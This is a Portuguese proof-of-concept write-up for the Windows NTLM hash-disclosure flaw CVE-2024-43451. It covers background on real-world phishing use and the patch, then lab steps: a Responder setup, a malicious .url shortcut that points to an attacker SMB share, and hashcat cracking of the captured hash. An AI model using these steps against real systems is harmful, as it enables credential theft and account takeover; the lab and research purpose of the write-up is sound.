
CVE-2024-43451 é uma vulnerabilidade do Windows NTLM que permite a um invasor forçar a autenticação e capturar hashes NTLM usando atalhos maliciosos.
CVE-2024-43451 é uma vulnerabilidade de dia zero no Microsoft Windows que permite que atacantes capturem hashes de senha NTLMv2 com interação mínima do usuário, potencialmente levando ao roubo de credenciais. Um método comumente explorado envolve o uso de autenticação NTLM sobre conexões SMB para um servidor remoto, a fim de capturar o hash. Esta vulnerabilidade foi corrigida nas atualizações de Novembro de 2024. Recomenda-se que os usuários apliquem as atualizações de segurança relevantes para mitigar o risco.
Este ataque foi descoberto sendo ativamente explorado usando um e-mail de phishing enviado de um servidor governamental ucraniano comprometido. O e-mail inclui um arquivo de URL malicioso. Quando o usuário interage com o arquivo clicando com o botão direito, excluindo ou movendo-o, a vulnerabilidade é ativada. Isso aciona uma conexão ao servidor do atacante, levando ao download de mais arquivos maliciosos, como o malware SparkRAT (um trojan de acesso remoto de código aberto que permite ao atacante obter controle do sistema da vítima).
NTLMv2 é atualmente a versão mais segura e mais relevante hoje.
image
Para criar um ambiente de trabalho para este POC, devemos configurar uma máquina Windows alvo com um número de build lançado antes de novembro de 2024 e um servidor remoto para simular a captura do hash:
Responder para capturar o hash via SMB:
brew install python3
git clone https://github.com/lgandx/Responder.git
cd Responder
sudo python3 Responder.py -I <put your network interface> -v
\\(remote server IP):
Já que tudo o que o exploit precisa é fazer uma conexão SMB com o servidor remoto, podemos usar um arquivo simples para simular isso:
[InternetShortcut]
URL=\\(remote server IP)\share
IconIndex=32
IconFile=C:\Windows\System32\shell32.dll
Uma vez que o arquivo é preparado e entregue ao sistema alvo, roubar o hash requer interação mínima do usuário. Essa interação pode envolver qualquer uma das seguintes ações:
https://github.com/user-attachments/assets/fd6389b5-4ee9-4d90-a76e-562394b24058
https://github.com/user-attachments/assets/b820ea73-b0fc-40f1-920e-28cf7869f1e2
Com o hash descriptografado em mãos, podemos tentar quebrá-lo para revelar a senha em texto claro ou usá-lo em um ataque "Pass-the-Hash" com ferramentas como Mimikatz ou Metasploit.
No nosso caso, um simples comando do Hashcat revela minha senha:
hashcat -m 5600 leak.txt rockyou.txt
